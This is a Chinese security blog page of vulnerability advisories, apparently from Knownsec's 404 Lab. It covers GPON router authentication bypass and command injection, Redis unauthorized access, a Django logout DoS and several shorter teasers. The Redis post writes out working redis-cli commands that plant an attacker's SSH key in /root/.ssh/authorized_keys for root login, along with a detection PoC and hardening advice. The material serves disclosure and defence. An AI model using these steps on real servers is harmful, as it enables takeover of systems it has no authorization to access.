漏洞通告

GPON Home Gateway 远程命令执行漏洞分析

2018-08-27
作者：dawu@知道创宇404实验室
日期：2018/05/04

0x00 前言

2018/04/30，vpnMentor公布了 GPON 路由器的高危漏洞：验证绕过漏洞(CVE-2018-10561)和命令注入漏洞(CVE-2018-10562)。将这两个漏洞结合，只需要发送一个请求，就可以在 GPON路由器 上执行任意命令。本文在复现该漏洞的基础上，分析了相关漏洞形成的原因。

0x01 漏洞文件定位

在有回显的远程命令执行漏洞中，使用 ps 命令往往能够很好地定位到漏洞点。

可以很明显地看到，进程14650执行了我们的命令，找到上一个进程14649 root /bin/WebMgr -p 20 -s 0。因为 pid 是递增的，所以很可能是 /bin/WebMgr 这个文件存在漏洞。

0x02 漏洞分析

在获取到某设备的 /bin/WebMgr 和 /lib/ 文件后，我们开始分析。

2.1 分析前

分析前研究了这个漏洞的利用，发现了该web服务器是 GoAhead-webs

根据 Server字段判断，该web服务器的版本 <= GoAhead 2.5.0（GoAhead 3.x 版本的 Server 默认为 GoAhead-http）

在尝试 https://www.seebug.org/search/?keywords=goahead&page=2已有的 GoAhead 2.x 系列的漏洞无果，推测该web服务器可能基于 GoAhead2.5.0版本进行了二次开发。

2.2 验证绕过漏洞

用 ida 打开 WebMgr 后发现函数流程并不完整，所以使用了简单粗暴的方式，直接搜索 images/，定位到函数 webLoginCheck

但是该函数在 WebMgr 中并没有被调用，故这里我们结合漏洞作出合理猜测：

当该函数 return 0时表示不需要验证

结合函数逻辑，我们可以知道：当 url 中含有 style/,script/时也可以绕过验证。

2.3 命令执行漏洞

由于之前读过 GoAhead 2.1.8的源码，所以知道 WebMgr 中定义 cgi 的逻辑为：

先通过 websFormDefine 定义不同的cgi接口要调用的函数，然后再通过 websUrlHandlerDefine 加载 websFormHandler

举个例子：

websFormDefine((int)"FLoidForm", (int)sub_1C918); websUrlHandlerDefine("/GponForm", 0, 0, &websFormHandler, 0);

1
2

websFormDefine((int)"FLoidForm", (int)sub_1C918);
websUrlHandlerDefine("/GponForm", 0, 0, &websFormHandler, 0);

这意味着当 url 中的 path 以 /GponForm 开头时，会使用 websFormHandler 去处理，然后 websFormHandler 会寻找通过 websFormDefine() 定义的各种路径，然后调用对应的函数。在这里，就是访问 /GponForm/FloidForm 时会调用 sub_1C918 完成相关操作。

在 exp 中，通过对 /GponForm/diag_Form 发送请求最终实现了命令执行。根据上文，可以找到 /GponForm/diag_Form 调用了函数 sub_1A390，结合 system() 的调用流程，我们可以知道 sub_1A390 调用了 sub_1A684，最终通过 system() 执行命令。

按照流程分析入下图：

在 sub_1A684中，主要还是判断传入的 dest_host 是否合法。如果不合法或者无法解析，将会进行如下处理：

这也可以从我们第一张图：执行 ps 命令的结果中得到验证。

0x03 影响范围

根据 ZoomEye网络空间搜索引擎 的探测结果，一共有 2141183 台路由器可能受该漏洞影响。

相关国家分布如图所示：

0x04 结语

在分析漏洞后，我们尝试寻找该类路由器所属的厂商。在 /web/images/下，我们找到了多个国内外厂商的 logo,但是未有其它证据证明这些路由器属于这些厂商。

在查阅其它资料后，我们更倾向于这些路由器是 OEM 或者 ODM 出来的产品。因为很难找到生产厂商，所以修复工作将会更加困难。由于该漏洞影响范围广，利用简单，危害巨大，各大僵尸网络家族很可能会将该漏洞列入其利用库，需要警惕。

0x05 参考链接
1. vpnMentor公布的 GPON 路由器的漏洞
  https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router/
2. Seebug漏洞平台 收录该漏洞
  https://www.seebug.org/vuldb/ssvid-97258
3. ZoomEye网络空间搜索引擎 搜索结果
  https://www.zoomeye.org/searchResult?q=%22GPON%20Home%20Gateway%22
本文由 Seebug Paper 发布，如需转载请注明来源。本文地址：https://paper.seebug.org/593/

作者：Nanako | Categories:技术分享、漏洞通告 | Tags: GPON Home Gateway、漏洞

没有评论
Juniper ScreenOS CVE-2015-7755 & CVE-2015-7756 Analysis

2015-12-25

Author: xiaohu & mt (知道创宇404安全实验室)

Date: 2015-12-23

Juniper 网络公司（瞻博网络）作为全球领先的联网和安全性解决方案供应商，Juniper 网络公司对依赖网络获得战略性收益的客户一直给予密切关注。公司的客户来自全球各行各业，包括主要的网络运营商、企业、政府机构以及研究和教育机构等。Juniper 网络公司推出的一系列联网解决方案，提供所需的安全性和性能来支持全球最大型、最复杂、要求最严格的关键网络。

Juniper 网络公司在上周发表声明，称 NetScreen 与 Juniper SSG 防火墙产品使用的操作系统 Juniper ScreenOS 中发现两个高危漏洞：CVE-2015-7755 和 CVE-2015-7756。前者描述的是 Juniper ScreenOS 中的一个身份认证绕过漏洞，而后者涉及设备 VPN 加密伪随机密钥可被破解的漏洞。 Read More »

作者：niubl | Categories:漏洞通告 | Tags: 漏洞分析

没有评论
Sqlmap 代码执行漏洞报告

2015-12-09

Author: Nixawk (知道创宇404安全实验室)

Date: 2015-12-09

一、漏洞概述

于2015年01月27日，我在阅读最新版本Sqlmap代码时，发现其存在代码执行问题。安全问题由python的pickle导致。

pickle 模块实现了一个基础而强劲的算法，用于序列化和反序列化Python对象结构，常用于跨平台及网络应用。在进行反序列化操作时，pickle会执行精心构造的python代码。

Read More »

作者：niubl | Categories:技术分享、漏洞通告 | Tags:

一条评论
Discuz 20150609 版本存储 XSS 漏洞修复绕过报告

2015-12-09

Author: RickGray (知道创宇404安全实验室)

Date: 2015-12-09

之前（2015-03-07）乌云上报了《Discuz全版本存储型DOM XSS（可打管理员）附Discuz官方开发4大坑&验证脚本》，但是在 Discuz版本（2015-06-09）的修复中却因为修复不全导致漏洞仍然可以触发。

一、原理分析

Discuz 在用户评论处设置了帖子管理员编辑评论的功能，由于前端 JS 代码处理不当导致了经过恶意构造的评论内容在经过交互后形成 XSS 。下面通过 payload 的调试过程来解释该漏洞的形成过程。

Read More »

作者：niubl | Categories:安全研究、漏洞通告 | Tags: 漏洞分析

没有评论

Redis 未授权访问配合 SSH key 文件利用分析

2015-11-11

Date: 2015-11-11

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。

Redis 未授权访问的问题是一直存在的问题，知道创宇安全研究团队历史上也做过相关的应急，今日，又出现 Redis 未授权访问配合 SSH key 文件被利用的情况，导致一大批 Redis 服务器被黑，今天我们来简要的分析下。

一、漏洞概述

Redis 默认情况下，会绑定在 0.0.0.0:6379，这样将会将 Redis 服务暴露到公网上，如果在没有开启认证的情况下，可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法，可以成功在 Redis 服务器上写入公钥，进而可以使用对应私钥直接登录目标服务器。

1、漏洞描述

Redis 安全模型的观念是: “请不要将 Redis 暴露在公开网络中, 因为让不受信任的客户接触到 Redis 是非常危险的” 。

Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99% 使用 Redis 的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。

因为其他受信任用户需要使用 Redis 或者因为运维人员的疏忽等原因，部分 Redis 绑定在 0.0.0.0:6379，并且没有开启认证（这是Redis 的默认配置），如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源 ip 访问等，将会导致 Redis 服务直接暴露在公网上，导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。

利用 Redis 自身的提供的 config 命令，可以进行写文件操作，攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中，进而可以直接使用对应的私钥登录目标服务器。

2、漏洞影响

Redis 暴露在公网（即绑定在0.0.0.0:6379，目标IP公网可访问），并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。

通过ZoomEye 的搜索结果显示，有97707在公网可以直接访问的Redis服务。

根据 ZoomEye 的探测，全球无验证可直接利用Redis 分布情况如下：

全球无验证可直接利用Redis TOP 10国家与地区：

3、漏洞分析与利用

首先在本地生产公私钥文件：

$ssh-keygen –t rsa

1	$ssh-keygen –t rsa

然后将公钥写入 foo.txt 文件

$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

1	$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

再连接 Redis 写入文件

$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK

$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit

$ redis-cli -h 192.168.1.11

$ 192.168.1.11:6379> config set dir /root/.ssh/

$ 192.168.1.11:6379> config get dir

1) "dir"

2) "/root/.ssh"

$ 192.168.1.11:6379> config set dbfilename "authorized_keys"

$ 192.168.1.11:6379> save

这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里，然后攻击者直接执行：

$ ssh –i  id_rsa root@192.168.1.11

1	$ ssh –i id_rsa root@192.168.1.11

即可远程利用自己的私钥登录该服务器。

当然，写入的目录不限于 /root/.ssh 下的authorized_keys，也可以写入用户目录，不过 Redis 很多以 root 权限运行，所以写入 root 目录下，可以跳过猜用户的步骤。

4、Redis 未授权的其他危害与利用

a）数据库数据泄露

Redis 作为数据库，保存着各种各样的数据，如果存在未授权访问的情况，将会导致数据的泄露，其中包含保存的用户信息等。

b）代码执行

Redis可以嵌套Lua脚本的特性将会导致代码执行, 危害同其他服务器端的代码执行, 样例如下一旦攻击者能够在服务器端执行任意代码, 攻击方式将会变得多且复杂, 这是非常危险的.

通过Lua代码攻击者可以调用 redis.sha1hex() 函数，恶意利用 Redis 服务器进行 SHA-1 的破解。

c）敏感信息泄露

通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫。

可以看到泄露了很多 Redis 服务器的信息, 有当前 Redis 版本, 内存运行状态, 服务端个数等等敏感信息。

5、漏洞验证

可以使用Pocsuite（http://github.com/knownsec/pocsuite）执行以下的代码可以用于测试目标地址是否存在未授权的Redis服务。

#!/usr/bin/env python
# -*- coding:utf-8 -*-

import socket
import urlparse
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register


class TestPOC(POCBase):
    vulID = '89339'
    version = '1'
    author = ['Anonymous']
    vulDate = '2015-10-26'
    createDate = '2015-10-26'
    updateDate = '2015-10-26'
    references = ['http://sebug.net/vuldb/ssvid-89339']
    name = 'Redis 未授权访问 PoC'
    appPowerLink = 'http://redis.io/'
    appName = 'Redis'
    appVersion = 'All'
    vulType = 'Unauthorized access'
    desc = '''
        redis 默认不需要密码即可访问，黑客直接访问即可获取数据库中所有信息，造成严重的信息泄露。
    '''
    samples = ['']

    def _verify(self):
        result = {}
        payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a'
        s = socket.socket()
        socket.setdefaulttimeout(10)
        try:
            host = urlparse.urlparse(self.url).netloc
            port = 6379
            s.connect((host, port))
            s.send(payload)
            recvdata = s.recv(1024)
            if recvdata and 'redis_version' in recvdata:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = self.url
                result['VerifyInfo']['Port'] = port
        except:
            pass
        s.close()
        return self.parse_attack(result)

    def _attack(self):
        return self._verify()

    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output

register(TestPOC)

#!/usr/bin/env python

# -*- coding:utf-8 -*-

import socket

import urlparse

from pocsuite.poc import POCBase, Output

from pocsuite.utils import register

class TestPOC(POCBase):

vulID = '89339'

version = '1'

author = ['Anonymous']

vulDate = '2015-10-26'

createDate = '2015-10-26'

updateDate = '2015-10-26'

references = ['http://sebug.net/vuldb/ssvid-89339']

name = 'Redis 未授权访问 PoC'

appPowerLink = 'http://redis.io/'

appName = 'Redis'

appVersion = 'All'

vulType = 'Unauthorized access'

desc = '''

redis 默认不需要密码即可访问，黑客直接访问即可获取数据库中所有信息，造成严重的信息泄露。

'''

samples = ['']

def _verify(self):

result = {}

payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a'

s = socket.socket()

socket.setdefaulttimeout(10)

try:

host = urlparse.urlparse(self.url).netloc

port = 6379

s.connect((host, port))

s.send(payload)

recvdata = s.recv(1024)

if recvdata and 'redis_version' in recvdata:

result['VerifyInfo'] = {}

result['VerifyInfo']['URL'] = self.url

result['VerifyInfo']['Port'] = port

except:

pass

s.close()

return self.parse_attack(result)

def _attack(self):

return self._verify()

def parse_attack(self, result):

output = Output(self)

if result:

output.success(result)

else:

output.fail('Internet nothing returned')

return output

二、安全建议

配置bind选项，限定可以连接Redis服务器的IP，修改 Redis 的默认端口6379
配置认证，也就是AUTH，设置密码，密码会以明文方式保存在Redis配置文件中
配置rename-command 配置项 “RENAME_CONFIG”，这样即使存在未授权访问，也能够给攻击者使用config 指令加大难度
好消息是Redis作者表示将会开发”real user”，区分普通用户和admin权限，普通用户将会被禁止运行某些命令，如config

三、参考链接

http://www.sebug.net/vuldb/ssvid-89339
http://antirez.com/news/96
http://www.secpulse.com/archives/5366.html
http://www.sebug.net/vuldb/ssvid-89715

作者：Fooying | Categories:安全研究、技术分享、漏洞通告 | Tags:

6 Comments

Django logout function Denial-of-service

2015-08-27

Security releases issued: 1.8.4, 1.7.10, 1.4.22
CVE: 2015-5963
Fix: Update/1.8.4/1.7.10/1.4.22/Add @login_required()

Django 官方在八月十八号发布多个版本更新，修复几个安全问题，其中便包括一个由编码不当导致的 DoS 漏洞，测试一些网站均存在此问题。

Detail

django.contrib.auth.views.logout 视图用于开发者实现用户注销退出功能，正常情况下对于 logout 视图应使用官方提供的 django.contrib.auth.decorators.login_required 修饰器方法来判断用户是否已经登录。由于不少开发人员忽略使用修饰器进行判断，导致攻击者可以匿名访问视图，不断创建会话阻塞导致拒绝服务攻击。

django/contrib/sessions/middleware.py:

    try:
        accessed = request.session.accessed
        modified = request.session.modified
    except AttributeError:
        pass
    else:
        if accessed:
            patch_vary_headers(response, ('Cookie',))
        if modified or settings.SESSION_SAVE_EVERY_REQUEST:
            if request.session.get_expire_at_browser_close():
                max_age = None
                expires = None
            else:
                max_age = request.session.get_expiry_age()
                expires_time = time.time() + max_age
                expires = cookie_date(expires_time)
            # Save the session data and refresh the client cookie.
            # Skip session save for 500 responses, refs #3881.
            if response.status_code != 500:
                request.session.save()
                response.set_cookie(.....

try:

accessed = request.session.accessed

modified = request.session.modified

except AttributeError:

pass

else:

if accessed:

patch_vary_headers(response, ('Cookie',))

if modified or settings.SESSION_SAVE_EVERY_REQUEST:

if request.session.get_expire_at_browser_close():

max_age = None

expires = None

else:

max_age = request.session.get_expiry_age()

expires_time = time.time() + max_age

expires = cookie_date(expires_time)

# Save the session data and refresh the client cookie.

# Skip session save for 500 responses, refs #3881.

if response.status_code != 500:

request.session.save()

response.set_cookie(.....

在对 settings.SESSION_SAVE_EVERY_REQUEST 的判断条件中，middleware 中间件未对 session 的状态进行判断，导致可能绕过进入判断体创建空会话。

这意味着我们能够发送大量的请求对目标网站进行会话阻塞从而达到拒绝服务攻击：

Fix

django/contrib/sessions/middleware.py:

    try:
        accessed = request.session.accessed
        modified = request.session.modified
        empty = request.session.is_empty()
    except AttributeError:
        pass
    else:
        # First check if we need to delete this cookie.
        # The session should be deleted only if the session is entirely empty
        if settings.SESSION_COOKIE_NAME in request.COOKIES and empty:
            response.delete_cookie(settings.SESSION_COOKIE_NAME,
                domain=settings.SESSION_COOKIE_DOMAIN)
        else:
            if accessed:
                patch_vary_headers(response, ('Cookie',))
            if (modified or settings.SESSION_SAVE_EVERY_REQUEST) and not empty:

try:

accessed = request.session.accessed

modified = request.session.modified

empty = request.session.is_empty()

except AttributeError:

pass

else:

# First check if we need to delete this cookie.

# The session should be deleted only if the session is entirely empty

if settings.SESSION_COOKIE_NAME in request.COOKIES and empty:

response.delete_cookie(settings.SESSION_COOKIE_NAME,

domain=settings.SESSION_COOKIE_DOMAIN)

else:

if accessed:

patch_vary_headers(response, ('Cookie',))

if (modified or settings.SESSION_SAVE_EVERY_REQUEST) and not empty:

sessions/backends/base.py & sessions/backends/cached_db.py:

def is_empty(self):
    "Returns True when there is no session_key and the session is empty"
    try:
        return not bool(self._session_key) and not self._session_cache
    except AttributeError:
        return True
        
def flush(self):
    """
    Removes the current session data from the database and regenerates the
    key.
    """
    self.clear()
    self.delete()
    self._session_key = None

def is_empty(self):

"Returns True when there is no session_key and the session is empty"

try:

return not bool(self._session_key) and not self._session_cache

except AttributeError:

return True

def flush(self):

"""

Removes the current session data from the database and regenerates the

key.

"""

self.clear()

self.delete()

self._session_key = None

虽然严格意义上来讲它是个 DoS 漏洞，但另一方面它完全是由开发者不严谨导致的问题（官方背锅），修复版本将 flush() 的 create() 方法修改以避免创建新的空会话，增加 is_empty() 以用来进行会话判断。

如果你实在不想升级版本，那么记得在必要的视图层增加 @login_required('/') 修饰器。

作者：kk | Categories:漏洞通告 | Tags:

没有评论

Linux glibc 严重安全漏洞，黑客利用此漏洞可远程获取系统权限

2015-01-28

近日国外安全研究人员披露一个在 Linux Glibc 库上发现的严重的安全问题，它可以让攻击者在本地或者远程获取操作系统的控制权限，编号为#CVE-2015-0235#，命名为幽灵（GHOST）漏洞。

Read More »

作者：刘开水 | Categories:技术分享、漏洞通告 | Tags: Linux glibc、漏洞预警、远程执行代码

2 Comments
Jinja2 2.0 /utils.py urlize vulnerability

2014-10-31

@author=evi1m0#knownsec

1. Jinja2

Jinja2(http://jinja.pocoo.org/)是基于python的模板引擎，功能比较类似于于PHP的smarty，J2ee的Freemarker和velocity。它能完全支持unicode，并具有集成的沙箱执行环境，应用广泛。

2. Description

问题出现在Jinja2(https://github.com/mitsuhiko/jinja2/tree/2.0) 2.0版本中，其中对urlize处理不当导致模板层使用处存在跨站脚本漏洞的产生。

Read More »

作者：niubl | Categories:漏洞通告 | Tags: Jinja2、xss、漏洞

一条评论
SuperMicro IPMI 49152端口密码泄漏漏洞

2014-06-30

2014.06.20 SuperMicro IPMI 49152端口密码泄漏漏洞被国外媒体传播（http://arstechnica.com/security/2014/06/at-least-32000-servers-broadcast-admin-passwords-in-the-clear-advisory-warns/）,原作者也在博客上有详细的叙述（http://blog.cari.net/carisirt-yet-another-bmc-vulnerability-and-some-added-extras/），本着对漏洞的好奇，本文对该漏洞做个中文的介绍。

Read More »

作者：niubl | Categories:漏洞通告 | Tags: 49152端口、IPMI、ZoomEye数据探测、密码泄露、漏洞

2 Comments
emlog 5.0.1 xmlrpc.php 后门事件预警

2013-05-06

2013年5月3日，SCANV网站安全中心研究人员发现emlog个人博客系统（www.emlog.net)最新版 5.0.1 被人为植入后门代码，攻击者可以利用后门远程执行恶意命令、盗取管理员帐号密码。作为漏洞应急响应，我们在第一时间通知emlog官方，经过交流，官方确认了后门事件，并在官方论坛发布公告以及对我们的感谢（http://bbs.emlog.net/thread-29021-1-1.html）。同时，我们也随即发布了一款在线小工具，可以快速诊断网站是否存在这个后门（http://www.scanv.com/tools/）。
Read More »

作者：niubl | Categories:漏洞通告 | Tags: emlog、后门事件预警

没有评论

0x00 前言

0x01 漏洞文件定位

0x02 漏洞分析

2.1 分析前

2.2 验证绕过漏洞

2.3 命令执行漏洞

0x03 影响范围

0x04 结语

0x05 参考链接

一、漏洞概述

一、原理分析

一、漏洞概述

1、漏洞描述

2、漏洞影响

3、漏洞分析与利用

4、Redis 未授权的其他危害与利用

a）数据库数据泄露

b）代码执行

c）敏感信息泄露

5、漏洞验证

二、安全建议

三、参考链接

Detail

Fix

1. Jinja2

2. Description

随机文章